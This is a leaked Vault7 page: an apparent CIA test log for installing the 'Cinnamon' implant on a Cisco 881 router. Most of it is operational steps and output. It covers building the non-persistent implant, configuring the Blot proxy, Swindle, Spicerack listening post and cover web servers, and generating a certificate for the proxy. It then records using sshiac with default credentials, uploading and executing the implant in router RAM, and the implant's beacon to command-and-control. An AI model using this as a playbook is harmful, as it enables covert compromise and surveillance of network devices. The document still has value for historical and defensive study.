Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
Cinnamon Cisco881 Testing
Cinnamon 881 Testing
The Bakery delivered Cinnamon for the Cisco881 on June 8. Testing Cinnamon for use on an 881 for JQJSECONDCUT. Operator has provided Target device configuration as well as some show commands from the Target. This device is getting DHCPDynamic Host Configuration Protocol from an Internet provider, and is performing NATNetwork Address Translation and DHCPDynamic Host Configuration Protocol server role for inside hosts. This device is also configured for DMVPN, presumably for VOIPVoice over Internet Protocol (Internet telephony) traffic. CONOP will be to use at least two flux nodes, one outside the target network, and then exit and attack from a flux node on the inside LAN.
Testing Summary
- Bacon RPM cannot be installed on ICON - Workaround - compiled bacon on the BuildVM and copied the bacon executable and bacon.cfg files to /opt/bacon on ICON.
- IAC 2.4 does not work with DUTDevice Under Test configuration - transport input ssh. IAC 2.4 requires a telnet connection. Workaround - use IACInternational Access Code 4.1.
- Spicerack error on CentOS 5.6 Blot LPListening Post VMVirtual Machine - /lib/libcrypto.so.0.9.8: no version information available (required by ./spice_rack)
Progress/Notes
Cinnamon Setup Steps:
- Build implant on BuildVM
- Edit /impant/cinnamon.cfg
- Edit LP_DOMAIN_NAME to match the dns entry for the Blot Proxy server - www.suptest.com in our test case
- Edit Tool ID that will be used by beastbox/swindle to identify Cinnamon traffic - 0x9219D10C for our test case (this is arbitrary)
- Edit PROBE_DEST entries so that they all say something that will resolve to web server - www.google.com in our test case
- Create cmn-880-norb.bin file for No Reboot, non-persisten implant
- make clean 880-norb - outputs a folder called 880-norb
- Create modules needed for testing - from /implant/modules directory
- make clean survey-powerpc
- make clean redir-powerpc
- Edit /impant/cinnamon.cfg
- Setup Blot 4.3 on CentOS 5.6 VMs
- Beastbox and Swindle on Blot Proxy
- Copy Blot 4.3 on to Blot Proxy VM
- Install Beastbox and Swindle from rpms
- Edit /etc/blot/beastbox.cfg
- Edit external-ip to be the IP of the Blot Proxy server - 172.20.13.10 in our test case
- Edit th name to spicerackH
- Edit ip to Blot Spicerack server - 172.20.13.11 in our test case
- Remove other th name entries
- Edit server name Apache ip to the Cover Web server for 443 - 172.20.13.20 in our test case
- Edit the server name Apache_2 ip to the Cover Web server for 80 - 172.20.13.20 in our test case
- Edit the server name BINDDNSDomain Name System server software ip to our DNSDomain Name System server for the test - X.X.X.X (LVLT-GOGL-8-8-8[US]) in our test case
- Under itd swindle, edit tid num to Tool ID that has been baked into impant - 0x9219D10C in our test case
- Under itd swindle, edit th to spicerackH
- Remove other itd entries
- Generate a certificate to match the DNSDomain Name System name for Blot Proxy and save to file in /etc/blot/itds/swindle/swindle.crt
- openssl genrsa -out new_key.pem 1024
- openssl req -new -key new_key.pem -out new_req.csr
- openssl x509 -req -days 365 -in new_req.csr -signkey new_key.pem -out new_cert.crt
-
File format for swindle.crt should be the output of 'openssl x509 -in new_cert.crt -noout -text' followed by new_cert.crt:
[root@blot swindle]# more swindle.crt
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, ST=FL, L=Orlando, O=Disney, OU=Studios, CN=go.com/emailAddress=help@go.com
Validity
Not Before: Feb 3 17:52:27 2011 GMT
Not After : Feb 3 17:52:27 2012 GMT
Subject: C=US, ST=IL, L=Chicago, O=Four Seasons, OU=Hotels, CN=fsh.net/emailAddress=XXXX@XXX.XXX
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSAEncryption algorithm Public Key: (1024 bit)
Modulus (1024 bit):
00:cf:62:75:0e:d0:16:fd:cc:84:2e:a6:5d:a4:f5:
e6:f2:a6:1d:50:6d:19:c8:b1:3f:0d:fc:39:61:63:
4a:93:55:64:74:5b:83:11:b7:e7:76:32:1d:36:8e:
4c:51:27:46:b4:e9:97:07:71:a9:9a:cf:7d:73:bc:
30:52:a6:02:99:d5:e3:34:e3:ef:df:e1:7f:9f:c3:
77:34:0e:f1:36:ba:5e:43:4a:58:db:26:8f:f1:fa:
ea:82:2e:a0:a1:ce:a8:f2:3e:8f:1a:53:d6:9b:43:
f0:33:2c:c4:d2:a9:92:25:6a:0d:75:fd:ca:87:eb:
a9:63:59:50:74:9c:c2:af:75
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints:
CA:FALSE
Netscape Comment:
OpenSSL Generated Certificate
X509v3 Subject Key Identifier:
33:FD:74:06:77:7B:B7:46:D3:13:28:73:FE:67:2A:9D:15:44:79:CC
X509v3 Authority Key Identifier:
keyid:ED:1E:9B:F2:2F:DF:45:CC:F1:16:39:55:B9:A6:66:44:D7:32:CE:67Signature Algorithm: sha1WithRSAEncryption
1d:62:69:90:25:25:39:1e:0a:4e:ed:ed:2b:c6:34:62:11:14:
58:41:ad:52:46:cb:f4:a7:94:7b:0c:34:f6:e2:ae:ea:f2:6d:
50:cd:b1:39:79:86:a6:58:92:0f:d5:7c:41:a3:2e:34:b7:cb:
39:3b:e6:43:c9:33:6a:a8:a8:2a:bc:3c:09:20:6c:4a:6c:a4:
2f:02:e7:07:c8:99:06:08:0f:54:39:1f:71:4f:da:d7:44:80:
f0:cd:af:35:fe:94:a4:6c:23:bd:fb:76:d5:03:ed:3c:d7:ed:
6e:fd:c8:64:3c:6e:90:a2:f3:4a:f9:65:02:b7:9f:8f:bc:76:
c0:7f
-----BEGIN CERTIFICATE-----
MIIC8TCCAlqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB8MQswCQYDVQQGEwJVUzEL
MAkGA1UECBMCRkwxEDAOBgNVBAcTB09ybGFuZG8xDzANBgNVBAoTBkRpc25leTEQ
MA4GA1UECxMHU3R1ZGlvczEPMA0GA1UEAxMGZ28uY29tMRowGAYJKoZIhvcNAQkB
FgtoZWxwQGdvLmNvbTAeFw0xMTAyMDMxNzUyMjdaFw0xMjAyMDMxNzUyMjdaMIGD
MQswCQYDVQQGEwJVUzELMAkGA1UECBMCSUwxEDAOBgNVBAcTB0NoaWNhZ28xFTAT
BgNVBAoTDEZvdXIgU2Vhc29uczEPMA0GA1UECxMGSG90ZWxzMRAwDgYDVQQDEwdm
c2gubmV0MRswGQYJKoZIhvcNAQkBFgxtYWlsQGZzaC5uZXQwgZ8wDQYJKoZIhvcN
AQEBBQADgY0AMIGJAoGBAM9idQ7QFv3MhC6mXaT15vKmHVBtGcixPw38OWFjSpNV
ZHRbgxG353YyHTaOTFEnRrTplwdxqZrPfXO8MFKmApnV4zTj79/hf5/DdzQO8Ta6
XkNKWNsmj/H66oIuoKHOqPI+jxpT1ptD8DMsxNKpkiVqDXX9yofrqWNZUHScwq91
AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu
ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQz/XQGd3u3RtMTKHP+ZyqdFUR5
zDAfBgNVHSMEGDAWgBTtHpvyL99FzPEWOVW5pmZE1zLOZzANBgkqhkiG9w0BAQUF
AAOBgQAdYmmQJSU5HgpO7e0rxjRiERRYQa1SRsv0p5R7DDT24q7q8m1QzbE5eYam
WJIP1XxBoy40t8s5O+ZDyTNqqKgqvDwJIGxKbKQvAucHyJkGCA9UOR9xT9rXRIDw
za81/pSkbCO9+3bVA+081+1u/chkPG6QovNK+WUCt5+PvHbAfw==
-----END CERTIFICATE-----
- Service beastbox start
- Verify that Beastbox is working by web browsing to the Proxy IP and you should get forwarded to the Cover Web server for 80 and 443
- Setup Blot LP
- Copy spicerack, salt, pepper, and scramble rpms onto Blot LP
- Install spicerack, salt, pepper and scramble from rpms
- Run spicerack - /opt/spicerack/spice_rack 2>&1 >/dev/null & - libcrypto.so.0.9.8 error here
- Disbabled iptables to get connection from impant to work - need to add rule to firewall instead of disabling
- Copy Cinnamon network and redirect modules from BuildVM to /opt/pepper/cmds directory on LP
- scp implant/modules/powerpc/redir-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
- scp implant/modules/powerpc/survey-powerpc.module root@172.20.13.11:/opt/pepper/cmds/.
- CoverWeb server - standard web server for 80 and 443 should be configured
- Beastbox and Swindle on Blot Proxy
-
Setup ICON VM
- Copy bacon rpm to ICON VM
- Install bacon from rpm - error here, had to compile bacon on the Build VMVirtual Machine and copy the executable and .cfg file to ICON /opt/bacon/
-
On Blot LP, use salt to calculate the Node ID
- Copy first 0x80 bytes from Motherboard info in output if IOSApple operating system for small devices command "show diag" on the DUTDevice Under Test into a flie /opt/salt/cookie.txt
- ./salt cookie.txt
- Make a copy of /opt/bacon/bacon.cfg called 881-cfg
-
Edit the 881-cfg file
- Change Node ID (called UNIQUE_ID in this file) calculated by salt - 0xfb583dbf for 881-Top
- Change Toold ID - enter Tool ID that was used with beastbox/swindle - 0x9219D10C in our test case
- Copy the 880-norb folder from BuildVM to ICON using windows share - error message: cp: cannot create symbolic link `/mnt/share/./880-norb/depack.c': Operation not supported
-
Copy the 880-norb folder from BuildVM to ICON using scp to avoid the above error
-
Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
-
Must initiate SCP from ICON due to iptables - scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0.0/implant/880-norb .
-
Copy IACInternational Access Code 4.1 to ICON - it includes remote
-
Setup remote
- su - root
- chmod -R +x data/config/npc3/profile
-
Edit data/config/npc3/target.py
- interpacket time = 0.1
- arch = 'ppc'
- machine = '880'
- Edit target-aliases with IP of target - XXX.XX.XXX.XXX (CABLEVISION[US]) in our test case
- Copy ramUploadAndExecuteCmn800.py from utilities on BuildVM to ICON's NPC3CP-5.2/bin/remote/bin directory
- Generate Seed traffic on the test network - watch -n2 wget -nv -T 1 -O /dev/null http://alias.google.com
- Smoke Test - Install CMN
-
Reload 881 router to start with clean setup
- Sh proc cpu hist = 2% CPU without traffic load
- Sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
-
From Cinnabuild-5.0.0 VM:
- /home/cmn-build/cmn-5.0/implant# make clean 880-norb (script completes and creates 880-norb directory)
-
From Cinnamon-ICON:
- /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
- Enter password and directory copies over
-
/home/user1/IAC 4.1.0/delivery/IAC-4.1.0/bin# ./sshiac-ppc -i XXX.XX.XXX.XXX (CABLEVISION[US]) -l cisco:cisco
- 881 cpu spikes to 99% two different times for about 20 seconds each
- LGDHM codes given and ssh-iac is complete
- /home/user1/IAC 4.1.0/delivery/NPC3CP-5.2/bin/remote# vim target-aliases
- Configure target IP and procid
- #source aliases = remote>
- #broad
- #./seq set 1
- #broad = status OK
[target:XXX.XX.XXX.XXX (CABLEVISION[US])] remote> ./bin/ramUploadAndExecuteCmn800.py /home/user1/880-norb/cmn-880-norb.bin
- "yes"
- file chunks uploaded and reach 100%
- Wait 3 minutes minimum
- sh proc cpu hist: spikes to 11-12% for five seconds about once a minute and then settles in to 4-6% repeatidly
- sh mem = Total-26214400 :: Used-9686440 :: Free-16527960
- /home/user1# scp -r root@10.9.8.108:/home/cmn-build/cmn-5.0/implant/880-norb/ .
-
Reload 881 router to start with clean setup
- Smoke Test - Establish Comms
[root@blot-spicerack log]# tail -f spicerack.log
-
user1@Cinnamon-ICON:/opt/bacon$ sudo ./bacon XXX.XX.XXX.XXX (CABLEVISION[US]) 881.cfg www.suptest.com 443
- Spicerack log shows callback from implant
06/16/2015 13:10:19.065 - Mission2:0:Debug: Socket accept info: client address = 172.20.13.10, port = 32991
06/16/2015 13:10:19.071 - Mission2:11:Info : SESSION STARTED
06/16/2015 13:10:19.071 - Mission2:11:Debug: Connected To: IP address = 172.20.13.10, port = 32991.
06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (12 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Debug: +++Packet received (780 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Info : +++Message received (792 bytes).+++
06/16/2015 13:10:19.916 - Mission2:11:Debug: Time packet received = 06/16/2015 13:10:19.916.
06/16/2015 13:10:19.916 - Mission2:11:Debug: Data Length = 708
06/16/2015 13:10:19.917 - Mission2:11:Debug: Tool ID Xor = 3
06/16/2015 13:10:19.917 - Mission2:11:Info : Tool ID = 0x9219d10c
06/16/2015 13:10:19.917 - Mission2:11:Debug: Seed = 0x33fb3f95
06/16/2015 13:10:19.917 - Mission2:11:Debug: Hash = 0x3536
06/16/2015 13:10:19.917 - Mission2:11:Info : Node ID = 0xfb583dbf
06/16/2015 13:10:19.917 - Mission2:11:Debug: Timestamp = 0x000014a4
06/16/2015 13:10:19.917 - Mission2:11:Debug: Module ID = 1
06/16/2015 13:10:19.917 - Mission2:11:Debug: Last Packet Indicator = 1
06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data length from encrypted header = 692.
06/16/2015 13:10:19.932 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
06/16/2015 13:10:19.932 - Mission2:11:Debug: COMMS-H request mission module name = Beacon, ID = 1.
06/16/2015 13:10:19.932 - Mission2:11:Info : +++BTHP REQUEST PACKET 1 RECEIVED - Beacon+++
06/16/2015 13:10:19.932 - Mission2:0:Info : dumpRawPacket: For RCVD_RAW_FILE
06/16/2015 13:10:19.935 - Mission2:11:Info : Dumped raw packet received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.raw.
06/16/2015 13:10:19.935 - Mission2:11:Debug: Payload data type = 0, data length = 686, data end = 1.
06/16/2015 13:10:19.938 - Mission2:11:Debug: Writing to receive file /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
06/16/2015 13:10:19.938 - Mission2:11:Info : Dumped BTHP request string received to file: /opt/spicerack/data/fb583dbf/Beacon/receive/20150616131019_0000000011.rcvd.
06/16/2015 13:10:19.938 - Mission2:11:Info : ---Building COMMS-H signal response(s)---
06/16/2015 13:10:19.938 - Mission2:11:Debug: Parsing .send file for commands.
06/16/2015 13:10:19.939 - Mission2:11:Debug: No commands present. Sending No Op
06/16/2015 13:10:19.939 - Mission2:11:Debug: Total COMMS-H payload length of command(s) reply data = 15
06/16/2015 13:10:19.939 - Mission2:11:Debug: Single packet response, payloadLength = 77, payloadDataLength = 15, lastPacketIndicator = 1
06/16/2015 13:10:19.939 - Mission2:11:Debug: Inserting Tool ID = 0x9219d10c, Tool ID Xor Key Index = 3
06/16/2015 13:10:19.939 - Mission2:11:Debug: Seed = 0x91a54cfe
06/16/2015 13:10:19.939 - Mission2:11:Debug: COMMS-H response auth hash = 0xac54.
06/16/2015 13:10:19.939 - Mission2:11:Debug: Returning built 1 COMMS-H reply packet(s).
06/16/2015 13:10:19.939 - Mission2:11:Debug: BTHP reply payload data length = 77.
06/16/2015 13:10:19.939 - Mission2:11:Debug: hdr_len = 24, data_len = 77.
06/16/2015 13:10:19.939 - Mission2:11:Debug: Before response write, replySize = 101.
06/16/2015 13:10:19.939 - Mission2:11:Debug: ---Packet sent (101/101 bytes).---
06/16/2015 13:10:19.939 - Mission2:11:Info : ---Message sent (101 bytes).---
06/16/2015 13:10:19.939 - Mission2:11:Debug: Time response sent = 06/16/2015 13:10:19.939.
06/16/2015 13:10:19.939 - Mission2:11:Info : ---COMMS-H REPLY SENT (1/1) - ---
06/16/2015 13:10:19.942 - Mission2:11:Info : Dumped raw packet sent to file: /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.raw.
06/16/2015 13:10:19.945 - Mission2:11:Debug: Writing to sent file /opt/spicerack/data/fb583dbf/Beacon/sent/20150616131019_0000000011.sent.
06/16/2015 13:10:20.916 - Mission2:11:Debug: CLOSING SOCKET 5
06/16/201 5 13:10:20.916 - Mission2:11:Debug: Shutdown connection: IP address = 172.20.13.10, port = 32991.
06/16/2015 13:10:20.917 - Mission2:11:Info : SESSION ENDED- Log file is appended on Blot-Proxy-CentOS 5.6
[root@blot blot]# pwd
/var/log/blot
[root@blot blot]# ls -phal
total 148K
drwxr-xr-x 2 beastbox blot 4.0K Mar 2 06:10 ./
drwxr-xr-x 17 root root 4.0K Jun 16 04:02 ../
-rw-r--r-- 1 beastbox blot 131K Jun 16 09:14 beastbox.log.enc
- Spicerack log shows callback from implant
- Smoke Test - Install/Uninstall Modules
- Smoke Test - Uninstall CMN